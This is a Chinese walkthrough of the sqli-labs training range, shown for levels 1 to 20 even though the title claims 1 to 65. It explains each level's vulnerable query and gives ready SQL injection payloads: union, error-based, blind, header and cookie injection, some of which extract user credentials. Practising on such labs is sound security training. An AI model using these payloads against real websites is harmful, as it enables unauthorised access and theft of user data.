sqli-lab注入靶场全部通关教程(1-65关)
基础挑战
Less-1(四个注入:联合,报错,时间,布尔)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,报错,时间,布尔 | id='$id' |
源码分析
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
联合查询注入
1. 注入点发现
?id=1' and '1'='2
2. 猜测字段数
?id=1' order by 3-- -
3. 判断会显点为(2,3)
?id=-1' union select 1,2,3-- -
4. 爆出数据库和用户名
?id=-1' union select 1,user(),database()-- -
5. 爆出所有数据库名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
6. 爆出 security
数据库的所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -
7. 查看 users
表的所有列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
8. 查看 username
和 password
列的内容
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
报错注入
1. floor报错注入
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
2. extractvalue报错注入
?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))-- -
3. updatexml报错注入
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- -
时间盲注
数据库的第一个字母为115,即s
if(a,b,c):如果a为真,则这个式子值为b,否则为c
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
布尔盲注
数据库的第一个字母为115,即s
?id=1' and (ascii(substr(database(),1,1))>114)--+
?id=1' and (ascii(substr(database(),1,1))>115)--+
Less-2
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,布尔,时间,报错 | id=$id |
源码分析
# 数字型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:?id=1 and 1=1-- -
Less-3
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,报错,时间,布尔 | id=('$id') |
源码分析
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:?id=1') and '1'='1'-- -
Less-4
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,报错,时间,布尔 | id=("$id") |
源码分析
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:?id=1") and 1=1-- -
Less-5
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,时间,布尔 | id='$id' |
源码分析
因为页面不输出查询结果,因此不可以使用联合查询,但是不影响报错,布尔和时间注入。
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:?id=1' and 1=1-- -
Less-6
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,时间,布尔 | id="$id" |
源码分析
因为页面不输出查询结果,因此不可以使用联合查询,但是不影响报错,布尔和时间注入。
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:?id=1" and 1=1-- -
Less-7
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间,布尔 | id=(('$id')) |
源码分析
因为把print_r(mysql_error())
给注释掉了,并且页面不显示查询结果,所以只能使用布尔注入和时间注入
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:?id=1')) and 1=1-- -
Less-8
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间,布尔 | id='$id' |
源码分析
具体方式跟第7关一样,就不再啰嗦了,只是闭合方式不一样。利用方法同第一关一样。
示例:?id=1' and 1=1-- -
Less-9
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间 | id='$id' |
源码分析
因为这里不管是真
还是假
的输出结果都一样,所以这里就不能用布尔注入了,只能使用时间注入。
具体方式跟第8关一样,就不再啰嗦了。利用方法同第一关一样。
Less-10
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间 | id="$id" |
源码分析
因为这里不管是真
还是假
的输出结果都一样,所以只能使用时间注入。并且print_r(mysql_error())
给注释掉了,不能用报错。具体方式跟第9关一样,就不再啰嗦了,只是闭合方式不一样。利用方法同第一关一样。
Less-11
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | username='$uname' and password='$passwd' |
因为这里是POST型注入,其实利用方式还是和第一关一样,但是这是一个POST型的,后面我估计应该都是POST型注入,所以还是写一写。
源码分析
联合查询注入
1. 注入点发现
uname=admin' or '1'='1&passwd=12&submit=Submit
2. 猜测字段数为2
uname=admin&passwd=1' order by 2#&submit=Submit
3. 判断会显点为(1,2)
uname=admin&passwd=1' union select 1,2#&submit=Submit
4. 爆出数据库和用户名
uname=admin&passwd=1' union select user(),database()#&submit=Submit
5. 爆出所有数据库名
uname=admin&passwd=1' union select (select group_concat(schema_name) from information_schema.schemata),2#&submit=Submit
6. 爆出 security
数据库的所有表
uname=admin&passwd=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#&submit=Submit
7. 查看 users
表的所有列名
uname=admin&passwd=1' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#&submit=Submit
8. 查看 username
和 password
列的内容
uname=admin&passwd=1' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#&submit=Submit
报错注入
1. floor报错注入
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit
2. extractvalue报错注入
uname=admin&passwd=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#&submit=Submit
3. updatexml报错注入
uname=admin&passwd=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit
时间盲注
数据库的第一个字母为115,即s
if(a,b,c):如果a为真,则这个式子值为b,否则为c
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=1&submit=Submit
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))#&passwd=1&submit=Submit
布尔盲注
数据库的第一个字母为115,即s
uname=admin' and ascii(substr(database(),1,1))>114#&passwd=1&submit=Submit
uname=admin' and ascii(substr(database(),1,1))>115#&passwd=1&submit=Submit
Less-12
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | username=("$uname") and password=("$passwd") |
源码分析
这里同第11关的注入方式一样,只是闭合方式不同,这里就不再示范了。
Less-13
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,布尔,时间 | username=('$uname') and password=('$passwd') |
源码分析
这里因为页面不管成功与否没有了回显,所以联合查询就用不了,其他的不影响,布尔查询可以通过成功或者失败的图片不一样判别。
这里同第11关的注入方式一样,只是闭合方式不同,这里就不再示范了。
Less-14
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,布尔,时间 | username="$uname" and password="$passwd" |
源码分析
第14关跟第13关除了闭合方式不一样,其他的完全一样的。利用方式也跟第11关一样,除了不能联合查询之外。
Less-15
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔,时间 | username='$uname' and password='$passwd' |
源码分析
我们可以看到print_r(mysql_error())
被注释了,所以这里我们不能用报错注入了,因为页面依然没有回显,联合注入也不能用。这关只能用布尔注入和时间注入。跟第14关的区别就是闭合方式不一样,然后报错注入不能用了。
具体利用方法同第11关有异曲同工之妙,灵活变通一下即可。
Less-16
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔,时间 | username=("$uname") and password=("$passwd") |
源码分析
同第15关一样,只是闭合方式不一样。利用方法参考第11关,灵活变通一下即可。
Less-17
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,时间 | password = '$passwd' |
源码分析
# uname参数进行了过滤
$uname=check_input($_POST['uname']); //check_input是代码写的一个过滤函数
# select语句只查询了uname参数,但是uname被过滤了,没什么用
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
# update语句查询了password参数,只有这里存在注入点
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
# 然后我们看到这里使用了mysql的报错语句,存在报错注入
print_r(mysql_error());
报错注入示例:
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit
其实还是同第11关的方法灵活变通一下即可!
Less-18
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,时间 | VALUES ('$uagent') |
源码分析
# 获取请求的IP和Uagent
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
# 用户名和密码都被过滤了,没什么戏了大概
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
如果SQL语句正确,就会执行下面的Insert语句 //SQL语句是判断正确的用户名和密码
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
#接下来我们看到了Insert语句,它写入了uagent和IP到数据库中
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
接着输出:agent
输出:print_r(mysql_error());
这一关的注入点在Insert语句上,没有对U-agent和IP做过滤,而且输出了mysql的报错信息,所以本关支持报错注入。
PHP 获取客户端IP的变量有:
- $_SERVER['REMOTE_ADDR']:基本上不能被伪造,因为是直接从 TCP 连接信息中获取的
- $_SERVER['HTTP_CLIENT_IP']:很少使用了,可以伪造
- $_SERVER['HTTP_X_FORWARDED_FOR']:可以伪造
所以这里的IP是无法被伪造的,就只能通过uagent来进行注入,我们构造闭合利用报错注入来测试
User-Agent:1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Less-19
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,时间 | VALUES ('$uagent') |
源码分析
这一关跟第18关的区别就是,现在注入点变成了Referer
字段,注入方式是一模一样。同样没有对Referer
和IP
做过滤。
Less-20
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | username='$cookee' |
源码分析
# 如果cookie中不存在uname参数,就会输出一堆无用的信息
if(!isset($_COOKIE['uname']))
输出一堆无用信息
# 然后判断uname和passwd是否存在,并进行过滤
if(isset($_POST['uname']) && isset($_POST['passwd']))
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# 查询username和password的值是否正确,并把username赋值给cookie
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
# 最后通过这条SQL语句直接将cookie代入数据库中查询,没有过滤
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
# 把查询的值赋给result,如果result不存在,就会输出mysql报错
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
这一关主要注入点是在cookie,未对cookie参数做过滤。并且在页面存在输出回显,而且运用了mysql的报错函数mysql_error()
,所以这关存在联合查询,报错,布尔和时间盲注。鉴于cookie注入是第一次出现,还是啰嗦一下给个实例吧。
联合查询
Cookie: uname=admin' and 1=2 union select 1,2,(select group_concat(username,password) from users)#
报错注入
Cookie: uname=admin' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
布尔注入和时间注入就不示范了,基本跟上面的一样,稍微修改修改即可,自己动手写个小脚本跑跑也可以的
文章来源: 博客园